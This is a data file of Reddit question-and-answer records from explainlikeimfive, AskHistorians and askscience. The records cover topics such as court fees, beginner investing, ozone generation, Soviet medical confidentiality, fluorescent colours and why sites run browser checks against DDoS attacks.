{"q_id": "blybvk", "title": "why, if you're not guilty, are you still required to pay court fees?", "selftext": "If you are in the clear, and guilt free, why are you responsible for court fees? It seems like you're still being monetarily punished for being innocent, if you're required to spend thousands in court fees after the fact.  Is there a legitimate reason for this?   \n\n\nNot intended to be political, mostly curious if there's like precedent or some rational reason for this.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/blybvk/eli5_why_if_youre_not_guilty_are_you_still/", "answers": {"a_id": ["emsd0v0", "emsgh2f"], "score": [3, 5], "text": ["I\u2019m confused by this.  If you\u2019re found not guilty or the charge is dismissed there should be no court costs involved.  However, if you were assigned a court appointed attorney then you would owe that fee which is typically collected by the court system.  Maybe this differs from state to state?", "In criminal court, you do not get compensated for your legal defense, win or lose.  Whatever money you spend on lawyers and investigators comes out of your own pocket.  This is why only rich people get the best legal team, because they can afford it.\n\nIn civil courts, this depends on the jurisdiction.  In some place, everyone is responsible for hiring their own lawyers, that's it that's all.  In other places, the loser of the trial pays for the lawyers of both sides.  If I sued you and lost, I would have to pay for your legal expenses."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "49tyqq", "title": "i have $5000. i want to start investing. where do i start?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49tyqq/eli5_i_have_5000_i_want_to_start_investing_where/", "answers": {"a_id": ["d0usc2s", "d0usdc0", "d0usle1", "d0uss5a", "d0ussxq", "d0ustsg"], "score": [2, 4, 2, 2, 2, 3], "text": ["Put it in a broad market, ETF and forget about it.  It has low costs, it'll grow with the market and it won't turn into zero.  Only a _very very very_ few people reliably beat the market.", "This is more a question for /r/personalfinance than this sub.\n\nThey should have resources there for people who want to learn about initial investing.", "Download a free stock trading simulator that looks at real market prices, and includes cost-per-trade. Play around with that for a couple of weeks to get some feel. Then look at amount earned and compare to bonds. Be careful of high-risk high-reward trading. You can always hand it over to someone/some company that invests for you. \n\nYou could also invest in yourself; take classes that might open up career opportunities. ", "\nOpen up a trading account most big banks will help you.\nRead Security Analysis by Graham, Dodd. It's a great tool for understanding how investing works. \nInvesting/trading on your own can be risky, sometimes overwhelming and is very time consuming. I suggest you start investing in mutual funds, e.g. tech, pharmaceuticals, energy and/or index funds. These options are not as risky and are generally viewed as long term investments.\n", "Honestly, you're a zero short of having the necessary capital to do any meaningful investing. If you put that amount of money into *any* investment, even a terrific one, the returns would be so small they'd get eaten up by costs. Use that money to pay down any debt you're carrying instead, or sit on it in cash.", "With this amount, don't hope to gain more than a few dollars a year, so it's not really worth the effort.\n\nA better investment of your time would be to closely follow your daily / monthly expenses and find smart ways to reduce them, there is probably a lot more to win this way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "f1f9ep", "title": "how is it that chronic inflammation can cause cell damage that leads to cancer, but exercise (which can also cause inflammation, such as in weight lifting) lowers cancer risk? are certain types of exercise less inflammatory and thus better for lowering risk factors that lead to cancer?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f1f9ep/eli5_how_is_it_that_chronic_inflammation_can/", "answers": {"a_id": ["fh59bys"], "score": [11], "text": ["PhD molecular medicine here. Exercise causes inflammation but it isn't chronic, it's brief and stimulates what's called a \"physiological\" response, meaning it's adaptive in a favourable way. The opposite to this is a \"pathological\" response which is the case with chronic inflammation which means those effects are going to be problematic for your body inducing negative changes to your system. \n\nI imagine there may be a relationship between different types of exercise and the degree of inflammation they induce though how well this can then be tied to its ability to attenuate cancer is quite difficult to determine as exercise induces such a broad spectrum of changes to a human's system. \n\nWhat I mean is it would be difficult to establish this relationship in humans.\n\nI don't know the oncology literature, my background is heart disease, but I imagine there is plenty of it looking at the relationship between physical activity and cancer rates which you should be able to find easily enough.\n\nThere may be a relationship between exercise and cancer but whether that's controlled either directly or partially by inflammation may not be known. \n\nAnyone else have some answers?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1852jb", "title": "Americans getting Social Security tattoos in the 1930s", "selftext": "[This photo](_URL_1_) showed up on my feed, of an unemployed man and his wife, with his Social Security number tattooed on his arm. There was a 3 year-old reddit discussion that included [this comment](_URL_0_) saying the practice of getting your Social Security number tattooed was common practice in the 1930s.\n\nWas it common? Why was it common? I assume it's not common now (I don't know for sure; I'm not American). When did it stop being commonplace?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1852jb/americans_getting_social_security_tattoos_in_the/", "answers": {"a_id": ["c8bqxxb", "c8bt0cx", "c8buc2x", "c8bv5vl", "c8bvooc", "c8bwzg4"], "score": [26, 183, 11, 5, 78, 14], "text": ["I found a source. No shit, it was a way to remember it and since the number had to be kept so much more secretly than today, writing it down somewhere was a risk.\n\n_URL_0_", "There are too many answers here about \"my father got... \", \"my grandfather had...\", and \"I never saw...\"\n\nThe question is **not** \"Did *your* family tattoo their security numbers on their arm?\" or \"Have *you* ever seen a tattooed security number?\" The question is about the practice across the USA. \n\nAs [our rules](_URL_0_) say:\n\n\n >  Please ensure that you only post answers that you can substantiate, if asked, and only when you are certain of their accuracy. **Personal anecdotes**, opinions, and suppositions **are not a suitable basis for an answer in r/AskHistorians**.\n\nPlease provide historical sources about how common this practice was, and when it stopped being common, not personal reminiscences about people in your family with these tattoos. They're not appropriate for this question.\n", "Did the fact that those in concentration camps got numbers tattooed on them have any impact on this?", "It could be a \"meat tag\". \n\nSoldiers would and still do get them for identification, in case their dog tags are lost. _URL_0_", "This was an interesting question to me, since the only thing I could really find at first was the picture you referenced. After a little more digging I did find a source that seems to confirm the comment from 3 years ago.\n\n > With all of these new numbers and policies to memorize, it should come as no surprise \nthat people began tattooing these vital numbers on their bodies.  After all, the U.S. government \nstressed the outright necessity of knowing your number.  In an interview conducted in the early \n1940s, artists Sailor Walter and Red Gibbons, who tattooed in a shop in Portland, Oregon, noted \nthat their business had practically doubled since the issue of Social Security numbers\n[14]\n.\n\n[Source](_URL_0_)\n\nUnfortunately the article cited in this passage is no longer on the web, as I was particularly interested in reading it to learn more. \n\nForgive the conjecture, but from the brief writing I did find on the topic to me it seems within reason that since the Social Security program was started in the mid 1930's, and heavy emphasis was placed on knowing your number, people fretting to remember the number would get it tattooed. \n\nThe problem is, this does not tell us *how common* the practice was. We know that it happened, and we know that some tattoo artists probably felt an increase in business. It's completely plausible that the increase in business was because of a general attitude shift in tattoos, which just happened to coincide with the issuing of Social Security numbers. \n\nSo was it common? I'm not sure, we know that it happened, and we probably know why it happened, but to find out whether or not it could be considered common would take a lot of research. It would also require putting parameters on what makes something common.  \n\n", "Researching this question quickly led to some pretty bizarre political sites. I'm not going to provide a direct link to the search terms, but if you use social security number tattoo in a search engine you'll quickly see what I mean.\n\nHere's one of the tamer versions. I wouldn't trust this site any further than I could throw it (obvious false claims, images clearly shopped, etc.)\n\n_URL_0_\n\nI was tempted not to say anything. But after yesterday's theory discussion, it seems reasonable to give fair warning about questionable sources...\n"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/pics/comments/acbuw/oregon_august_1939_unemployed_lumber_worker_goes/c0gvqg8", "http://www.shorpy.com/node/921?size=_original"], "answers_urls": [["http://blog.constitutioncenter.org/2011/08/happy-birthday-social-security/"], ["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_speculation"], [], ["http://www.waywordradio.org/meat_tag/"], ["http://www.ju.edu/jrad/documents/tiffanyw.pdf"], ["http://minarchist.wordpress.com/2009/09/15/social-security-card-number-tattoos-predated-auschwitz-german-national-socialism/"]]}
{"q_id": "2mq8e7", "title": "Were homosexual relationships between soldiers common during the American Civil War?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2mq8e7/were_homosexual_relationships_between_soldiers/", "answers": {"a_id": ["cm6lwuo"], "score": [7], "text": ["So this is a pretty vague question, and as such makes it difficult to provide a satisfying answer. The short answer is \"yes\" but there are a lot of subtle ways in which the question could be complicated. I can offer a few comments:  \nYes, men had sex with men. However, the concept of homosexuality as an identity category did not really exist until closer to the 20th century. That is to say that men engaging in sex with other men during the mid 19th century would not have considered this central to their sense of self. Additionally, the category of \"romantic friendship,\" which has no contemporary counterpart further complicates the issue. Romantic friendships were characterized by a strong romantic connection or interest, and might or might not contain a sexual element. So romantic expressions of love between men at the time of the Civil War were both common and socially acceptable.  \nHowever, I don't have anything to add in regards to the specific experience of same-sex intimacy and feeling amongst soldiers during the Civil War. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1b55i8", "title": "Chinese borders with the Russians during the Qing and Ming Dynasty", "selftext": "I'm trying to learn up on how Ming (and Qing) China held their borders with the Russians. Any info you can give me or recommend any books would be much obliged! ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1b55i8/chinese_borders_with_the_russians_during_the_qing/", "answers": {"a_id": ["c93qhod"], "score": [2], "text": ["What languages do you speak? [Here](_URL_0_) is an article on that very topic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://ostrog.ucoz.ru/publ/1-1-0-8"]]}
{"q_id": "8ke0lw", "title": "How were massive casualties among the nobility replenished by nations?", "selftext": "In ancient and medieval times, the nobility often formed elite forces of heavy cavalry or other troops. When these formations suffered massive casualties, how would a country replenish it's stock of nobility faster than new noble sons were born and trained? Was it just a question of time or would non\\-nobility be elevated in status?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8ke0lw/how_were_massive_casualties_among_the_nobility/", "answers": {"a_id": ["dz7kfel"], "score": [4], "text": ["This depends a lot on time and place and there are a lot of factors.  I'll answer for medieval and early modern Europe, primarily England. \n\nFirstly is the fact that truly important nobles wouldn't often be at the front lines.  People with titles were often sent as generals or commanders to organize the military operations but not to fight themselves.  In fact, many kings and queens chose to fight their wars with hired mercenaries combined with conscripted countrymen.  A few members of the nobility would be nominally in charge for diplomatic negotiations and planning, but they sometimes weren't even in charge of the military aspects of the war.  (See Elizabeth's I very different dealings with John Casimir and the Duke of Leicester during various wars with Spain in the Netherlands, just as an example.)\n\nBut you are correct that members of the nobility did sometimes die in battle or from disease in the ranks.  The Duke of Leicester's nephew and successor as Elizabeth's favorite, the Earl of Essex, saw his own brother die in one of his own military operations.  The numbers of noble deaths paled in comparison to the deaths of commoners in these wars, however, which could be to the tune of 10,000-12,000 deaths.  The English and European aristocracies simply could not sustain that number of nobles, let alone that number of nobles being sent to war while keeping the court, their estates, and governing the country running as well. \n\nWhen important people did die, they were replaced by relatives, sometimes very distant relatives.  Entire cadet branches of noble families that had been untitled for years would sometimes be resurrected because of the convenient inheritance of a title.  But these weren't creating a new class of nobility - they had noble blood anyway and their positions were simply elevated. \n\nThere was a system of monarchs bestowing new \"creations\" of extinct titles on their favorites.  These people were usually of at least distantly noble stock but provided lifeblood to the aristocracy.  Elizabeth I was particularly stingy about creating titles; several died out during her reign and were not given a new creation, meaning that there were actually fewer extant titles at the end of her reign than at the beginning.  To your point, however, there was a system in place for elevating a new class of noble elite in the case of a significant quantity of titles dying out through war or disease.\n\nSource for details about Elizabeth's reign:\n\nElizabeth by Anne Somerset"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "56f52x", "title": "Lightning produces ozone. Many ionizing air purifiers also produce ozone. Does an electric current exposed to air always produce ozone?", "selftext": "Does this mean that those open coil electric heaters are bad for people with asthma? How do ionizing air purifiers generate ions?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/56f52x/lightning_produces_ozone_many_ionizing_air/", "answers": {"a_id": ["d8ivp06", "d8j2uhg", "d8j5bdj", "d8j9h3w", "d8jczyz", "d8jh0m0"], "score": [88, 12, 4, 4, 2, 2], "text": ["Molecular Oxygen (dioxygen) is broken into two oxygen atoms with enough energy input (either photon or thermal). One of these excited atoms will then encounter an oxygen molecule in a collision, creating ozone.\n\n\n\nYour heaters at home aren't likely to produce any ozone at all as they don't produce a corona discharge (occurs with a large potential on a curvy object). This is the mechanism by which so-called air purifying ionizers produce ions.\n\n", "No. The electric coil (which uses resistance to heat up) is not making ozone. You need spark and/or arc to generate the ozone. \n\nWhen you apply a high voltage across a spark gap, the current has to flow through the air to get to the other side. That's when you get your ozone generation.\n\nThe oxygen (O2) in air can be ionised to form two oxygen ions. Some of these ions will recombine to form ozone (O3), which itself is very reactive and short lived.\n\n", "Some common items that can produce ozone:\nOld style CRT TV or monitor.\nSpark ignited gas stove or furnace.\nBrush style electric motors.\nElectric welders.\nIon generators.\nAir conditioner with defective contactor.\nSlot cars, toy trains, and some, but not all, motorized toys.", "I work in a lab where we test medium voltage drives. I experience the creation of ozone at as little as 8kv when performing dielectric testing. This of course is all relative to air gaps involved and leakage. When we simulate lightning strikes, we generate 200kv for around 1.5 micro seconds and can't enter the test area for a few minutes just to let the ozone dissipate. I have seen people get visibly ill within seconds of exposure. ", "Yes, arcing electric current through air produces a spectrum of metastable products, including ozone. In fact, commercial ozone generators do just that. By flowing oxygen between two plates at high voltage, arcing through the gas ionizes the gas molecules which sometimes recombine into the metastable association of three oxygen atoms, which is ozone. Oxygen goes in, oxygen with a small percentage of ozone comes out. ", "3 things of note here- ionization, visible corona, and ozone.  \n\nThey're not the same thing.  Ionization is just taking an air molecule and giving it an electron (for negative ion generators, the most common kind) generally through physical contact.  This is now a static charge which it will dissipate whenever it touches a conductor, but not while floating around not touching other molecules (gas molecules rarely touch anything).\n\nIonizers clean the air of some particles by giving them a static charge so they stick to things.\n\nOzone is physically breaking apart O2 and making O3.  This happens more at higher voltages.\n\nCorona is a chain of ionization from electron avalanches.  It does produce a lot of ozone if it's the negative type of corona (extra electrons).  It also makes the gas glow visibly when the ions lose the extra electron and fall back to their ground state.\n\nHeaters do not have very high voltages come to a point, so they don't cause ionization or ozone or corona."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "c8woik", "title": "Fur Traders Hauling Keel Boats on Land", "selftext": "Had a question about the fur traders hauling keelboats on land as seen in movies and books. Why and when did they do this? How far could they be traveling on land like this? \n\nReally appreciate it.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/c8woik/fur_traders_hauling_keel_boats_on_land/", "answers": {"a_id": ["esxsi1v"], "score": [3], "text": ["Hauling boats for short periods over land was a common practice called a *portage*. It was a necessary practice for waterborne transportation, since a *portage* was meant to make a short overland trip to connect two disconnected water routes. A *portage* would mean dragging the boat up on land, unloading all of the trade goods, supplies, and food, hauling it on your back to the next embarkation point, and doing the same with the boats themselves. Often this would mean several back and forth trips, and could be especially grueling for lengthier *portages*.\n\nLuckily for most fur traders, the majority if your travel would have been in lightweight birchbark canoes, rather than the bigger, heavier, stouter Mackinac boats. Those became more common in the early 19th century and were used mostly in well-established trade routes with well-known and well-used rivers, lakes and *portage* points. But that didn't make it *easy* by any means. Even for established routes, like the \"pork eater\" route between Montreal and Mackinac, which involved either an upriver paddling along the St. Lawrence (the \"southern route) or the river-to-lake-to-river-to-lake multiple *portage* route up to northern Lake Huron (the northern route) could involve a dozen or more *portage* points along a journey that took a *month* to complete. And that route was considered easy by most fur traders!\n\n______\n*Fur, Fortune and Empire* by Eric Dolin is a good start for further reading.\n\n*Making the Voyageur World: Travelers and Traders in the North American Fur Trade* by Carolyn Podruchny is a deep and interesting follow up."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2knsgy", "title": "Why do black cars make the best mirrors when polished?", "selftext": "Compared to colours like white or silver that intuitively I'd think should be better since they reflect more light than black?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2knsgy/why_do_black_cars_make_the_best_mirrors_when/", "answers": {"a_id": ["cln31em"], "score": [8], "text": ["The wax on the car is what it doing \"mirror\" reflecting. The black underneath absorbs all the white light that isnt reflected by the wax. This reduces the \"noise\" of scattered white light from a sliver or white color leaving the reflected image. If you look closely all colors of car that have a nice new wax job will reflect sharply and look like mirror"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4cvu05", "title": "What is the quantum explanation for the absorption of light by matter?", "selftext": "I do spectroscopy for a living and am trying to better understand the fundamentals of the systems I study. I understand that the position of an electron can be described as a standing wave. I understand Maxwell's equations (well, I have a working knowledge), and I think I understand that the E field of an EM wave will apply a force to the electron causing a shift in the distribution function.  How could you formally show this interaction and resulting absorption/coupling for a simple light-matter interaction in quantum terms?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4cvu05/what_is_the_quantum_explanation_for_the/", "answers": {"a_id": ["d1lux7c", "d1lyybg", "d1m10ub", "d1m21yn", "d1mhdyc"], "score": [17, 15, 3, 8, 2], "text": ["electrons in atoms/molecules/solids interact with photons, the electrons are being raised to one of the higher energy levels. not every energy level is allowed, depends on what kind of system you have, atoms, molecules or solids (or other less regular things). \nquantum electrodynamics is basically just this one thing: electron interacts with photon (see feynman diagrams) and it just works as a blackbox. there is no process of the photon disappearing and the electron moving somewhere.\n\nthere's a book by gerry and knight \"introductory quantum optics\" which covers atom-light interaction in more detail (i.e. time evolution, probabilities, what if the frequency doesn't match the transition exactly but is off a bit). see rabi model and jaynes-cummings model\n\n > Chapter 4 Emission and absorption of radiation by atoms\n\n > In this chapter, we first discuss atom\u2013field interactions using quantum mechanical perturbation theory for a classical driving field and then for a quantum mechanical field. In the latter case, spontaneous emission appears as a fully quantum mechanical phenomenon. We then examine the so-called Rabi model, a model of a \u201ctwo-level\u201d atom interacting with a strong near-resonant classical field, introduce the rotating wave approximation, and then introduce the fully quantum mechanical Rabi model, better known as the Jaynes\u2013Cummings model. Differences in the evolution predicted by the two-models are drawn out, where we show that the Jaynes\u2013Cummings model predicts behavior that has no semiclassical analog and that depends entirely on the discreteness of photons. Finally, we study an extension of the Jaynes\u2013Cummings model, the dispersive model, for the case where the quantized field is far out-of-resonance with the atomic transition frequency. This will eventually allow us to describe how superpositions of different coherent states of the field, states known as Schr\u00f6dinger cat states, can be generated from atom\u2013field interactions.\n\ni think this covers exactly what you are asking and goes through the calculation and also covers several approaches to it (sometimes you treat the electric field as classical sometimes as a quantum field)", " > How could you formally show this interaction and resulting absorption/coupling for a simple light-matter interaction in quantum terms?\n\nThe short answer is that absorption/emission occurs because quantum states overlap and we explicitly define these transitions when how much they overlap is a function of time. Let's consider two states, |n >  and |B(t) > . At time=0, they do not overlap,\n\n >  < n|B(0) >  = 0\n\nFrom now on, note |B(0) > =|B >  to save ink. But at some future time=T, they overlap at least a little bit,\n\n >  < n|B(T) >  ~ c\n\nThe probability that |B(T) >  will be measured as state |n >  at time=T is then the absolute value squared of the overlap,  \n\n > P(T) = |c|^(2) = | < n|B(T) > |^(2)\n\nIf we understand how this change happens, we can say |B >  undergoes time evolution,  \n\n > |B(t) >  = U(t)|B > \n\nWe can now generalize the transition probability,  \n\n > P(t) = |c(t)|^(2) = | < n|U(t)|B > |^(2)  \n\nThe transition rate is then how the probability of transition changes in time\n\n >  R = (d/dt) P(t)  \n\nThe U(t), which is the time evolution operator depends on the Hamiltonian of the system. The Hamiltonian contains all the interactions which allow for states to mix together which is the overlap we need to have transitions. To bring this back down to Earth and away from the math. Light and matter interact because the wave functions for say, 'excited atom' and 'less excited atom + photon' overlap a bit. If you do time independent quantum mechanics using just the Hydrogen atom Hamiltonian, you'll find that all energy states overlap exactly zero. This would imply that atoms should always be frozen in their energy states and never change. This isn't the case however as space is filled with a jittering mess of electromagnetic waves which introduce time dependence to the Hamiltonian.\n\nThis time dependence bends the wave functions introducing the overlapping we need which is why atoms spontaneously emit photons. If the bending is \"small,\" then we can use perturbation theory to solve the problem which is what /u/RobusEtCeleritas is talking about.", "What everyone is saying about electron transitions is true. However, it's also possible to look at the wave function of the nucleus and do similar math to get interactions with vibrational modes. Light can induce a dipole in a molecule, which will oscillate and re-radiate em waves. Polar molecules can also have transitions between rotational modes. Electron transitions occur in the UV, vibration in the mid-far IR, and rotation in the far IR/microwave.", "Informative [lecture] (_URL_0_) series by one of the greats that may help shed some light on this matter.", "Read Feynman's [QED: The Strange Theory of Light and Matter](_URL_0_). The book is based on four lectures he gave at UCLA for a lay audience describing his work on QED. \n\nHe used to say that if he couldn't explain a concept accurately to a child, he didn't fully understand it. The lecture series was his demonstration that he really did understand QED, or at least parts of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://youtu.be/eLQ2atfqk2c"], ["http://www.amazon.com/QED-Strange-Theory-Light-Matter/dp/0691024170"]]}
{"q_id": "3bqxj8", "title": "Did the Soviets allow doctor-patient confidentiality? Were your medical records private? Did any communist regimes have private medical records? What about confession to a priest, or talking to a lawyer - where these private?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3bqxj8/did_the_soviets_allow_doctorpatient/", "answers": {"a_id": ["csosxvx", "csp983o"], "score": [120, 7], "text": ["Concerning doctor patient confidentiality in the GDR I found this essay:\n\n_URL_0_\n\nTo summarize:\n\nDoctor-patient confidentiality existed and was nominally protected by law. The extent of confidentiality was more limited than in West Germany. For example doctors had no expectation of exemption of punishment if they prevented a crime and didn't report their patients intent to commit the crime.\n\nNonetheless official publications on medical ethics stressed the sanctity of doctor-patient confidentiality within these limits and it seems that doctors used these references to refuse to give testimony in court. \n\nHaving said that, the reality looked different. It is estimated that 5% of East German doctors worked as informants for the STASI and some must have deliberately broken their vows in doing so. It seems that historians haven't systematically sifted through all the files, so the actual extent is unknown. Given the methods the STASI employed it seems unlikely that they gave second thoughts about breaking into doctor offices and simply took/copied the documents they wanted.\n\n\nTo my knowledge the exact same thing can be said about client-lawyer confidentiality and confessionals. They were all legally protected but  lawyers and priests/reverends were sometimes too happy in passing on information and never punished. If the STASI couldn't get the information that way they had no qualms with spying and breaking the law themselves.", "Concerning legal privilege:\n\nAttorney-client privilege existed, and it was the only legal privilege recognized under Soviet law. *See* RSFSR Code of Criminal Procedure, Art. 61, Art. 72. As noted by u/cavetroglodyt, doctor-patient confidentiality existed, and was recognized in law, but it did not rise to the level of legal privilege (*i.e.* - as a claim of confidentiality, it could be defeated by a showing of need by the adverse party). \n\nThere was no spousal privilege, no work-product privilege, and no trade secret privilege.\n\nThere was also no privilege against self-incrimination, akin to the U.S. 5th Amendment. *See* [The Soviet Legal System and Arms Inspection: A Cast Study in Policy Implementation](_URL_0_), p. 298."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.aerzteblatt.de/archiv/7442/Arzt-Patienten-Verhaeltnis-in-der-DDR-Zahlreiche-Verletzungen-der-Schweigepflicht"], ["https://books.google.com/books?id=j7ybmvLoB1gC&amp;lpg=PA297&amp;ots"]]}
{"q_id": "24fryx", "title": "What were the strengths of Douglas Haig in WWI?", "selftext": "In my WWI class today we talked at great length of how the generals of WWI (and in particular the British) were, all in all, horrifically awful generals. I can't really see how they would have been put into put into such positions and how they could have stayed as generals for a long duration if they really were that terrible. One of the examples my teacher provided was Douglas Haig, so I'm wondering if he had any redeeming qualities other than, as my teacher puts it, \"a conviction that he could end the war\".", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/24fryx/what_were_the_strengths_of_douglas_haig_in_wwi/", "answers": {"a_id": ["ch6s875"], "score": [6], "text": ["[I see /u/NMW permanently frustrated by this conception](_URL_2_) that the British commanders were incompetent buffoons who thought that it was still the 19th century, and many people seem to believe that Blackadder's portrayal, while humourous, is entirely accurate.\n\nI'm going to link several answers from /u/NMW here, and my knowledge of WW1 may be enough to address any questions, but please don't be offended if I refer you to /u/NMW himself.\n\n[Great, lengthy, in depth answer on Haig's competency.](_URL_1_) (Read this first.)\n\n[Armoured vehicles in WW1 (brief mentions of Haig).](_URL_0_)\n\nHaig wasn't a perfect general, but he was certainly not the idiot Blackadder portrays him as.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1uys7h/how_influential_were_armored_vehicles_tanks/cen0syl?context=3", "http://www.reddit.com/r/AskHistorians/comments/1ue42t/how_accurate_is_blackadder_goes_forth/cei5q4w?context=3", "http://www.reddit.com/r/badhistory/comments/1vnxoo/debunking_bad_history_top_ten_ww1_myths_bbc/ceue15v"]]}
{"q_id": "8n9uty", "title": "why are fluorescent colors special and why did they not seem to exist before the 80's?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8n9uty/eli5_why_are_fluorescent_colors_special_and_why/", "answers": {"a_id": ["dztxfwh", "dztxv3f", "dztzof1", "dzu11io", "dzu47q3", "dzubgm3", "dzuu767"], "score": [54, 6, 516, 7, 39, 2, 2], "text": ["Your premise is flawed. \n\nNeon or fluorescent or day\\-glo colors \\(whatever you want to call them\\) were first used in the 1930s with the invention of phosphorescent dyes and neon light tubing. It's not that those colors didn't exist in the light spectrum, just that we didn't have a way to reproduce them until then. \n\nThe colors were very popular in the 30s, 40s, and even into the 50s when neon lights kind of hit their peak. \n\nLike any trend, the popularity faded a little in the 60s and 70s when colors and styles were more \"neutral\" or \"nature inspired\" \\(remember brown everything, and harvest gold and avocado colored appliances\\) and movies and art were more gritty and dark. \n\nAnd again, cycling like culture does, neon made a comeback in the 80s as part of the overall \"upbeat\" move away from the gritty darkness of the 70s. Teen movies especially featured characters wearing bright neon colors, as did a lot of the bright pop videos of the day, and MTV took the trend and ran with it in all of their programming as well. \n\nI'm sure it'll cycle again and there will be a point sometime in the next 20 or so years that variations of neon and crazy patterns will once again be in fashion and someone will ask \"where did all this neon come from\". ", "They did exist. Scientists were noting florescence in the 16th century, but that was in nature. \n\nAs for popular use, it's gotta be due to a combo of the ability to produce dyes, and to market them as a hip new thing in fashion. ", "Other people have addressed your comment about the timeframe. \n\nHere's why they are special:\nNormal colors reflect the color you see and absorb anything else (a blue shirt absorbs red, yellow, green, etc. but reflects blue). This means that if there light hitting the shirt has 100 brightness units, the shirt can reflect up to 100 brightness units back.\n\nFluorescent colors are able to absorb energy from beyond the range we can see (UV) and then re-emit it in a color we can see. So a fluorescent blue shirt could reflect up to 100 brightness units back of blue, and absorb another 100 brightness units of UV and emit them back as blue light, giving off 200 brightness units of blue in a room where everything else is only giving off 100.", "If you don't think they existed before the 80's you are too young to remember the back room of any Spencers store in the 70's.", "Check out concert posters from San Francisco in the late 60s-70s. Really wild art, lots of fluorescent color, and very much fun to look at. ", "Check out the story of Fluoroscein...\n_URL_0_\n\nMy understanding is fluroescence occurs when molecules/atoms absorb higher electromagnetic energy and release it at a lower wavelength (occurs in the infrared range too, even though our eyes can't see it)", "hahahaha didn\u2019t exist before the 80s?!\noh you kid"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://en.wikipedia.org/wiki/Fluorescein"], []]}
{"q_id": "7skzvh", "title": "how are carbonated beverages transported so that they don't explode as soon as consumers open them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7skzvh/eli5_how_are_carbonated_beverages_transported_so/", "answers": {"a_id": ["dt5kjps", "dt5lq4c", "dt5u8q7"], "score": [4, 3, 3], "text": ["They don't have to worry about that. If you shake up a can at your house and let it sit around untouched for a while it will have settled down.", "Carbon dioxide is dissolved in the liquid. When you agitate the can by shaking it, the gas \"comes out of the liquid.\" But if you let it sit without open the can and releasing the pressure, the gas dissolves back in.", "They're transported any way at all, with no special care. The key is that they are allowed to sit  a while before you buy and open them -- this undoes the effect of the shaking."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "flvag6", "title": "why do some sites check my browser before giving me access to it ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/flvag6/eli5_why_do_some_sites_check_my_browser_before/", "answers": {"a_id": ["fl0oxtj", "fl0p3zk", "fl1e6ie"], "score": [56, 6, 11], "text": ["Cloudflare is usually the one doing this. The purpose is to lock out \"users\" that the site doesn't want. Usually bots, web crawlers, and things of that nature. It also protects against things like DDOS attacks and other web based denial of service stuff. \n\nOr, super TLDR version, it's making sure you're an actual user with an actual browser, not a script sending traffic.", "You're probably referring to DDoS protection (like cloudflare).\n\nA Distributed Denial of Service attack is when a person or group of people set up a network of \"hacked\" computers called a botnet and use them to generate traffic to one website or service at a time, overloading the network capacity of the service and causing it to be unaccessible to legitimate traffic.\n\nWhen you see a message that your browser is being checked, the service is just determining that you are not part of one of those attacks. It does not mean that an attack is currently going on, btw.", "The other comments have already covered the purpose of this, but I thought I'd add some technical insight. \n\nThe anti ddos provider (typically cloudflare) asks you to submit a so called proof-of-work. They send your browser a really hard math problem, that it takes it a few seconds to figure out.\n\nIt won't let you visit the actual website before you solve the problem, so it protects the website from all visitors that cannot spare a chunk of computing power. \n\nBecause computing power is pricey, a spam attack has now become so expensive that it is practically impossible. A real ddos attack requires thousands of \"visitors\" which would require thousands of these proofs of work, as the math problem is different for each user. \n\nThe only cost is that regular users have to wait for a few seconds.\n\nThe same concept has been used to combat email spam (hashcash) and is what makes all the big crypto currencies work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
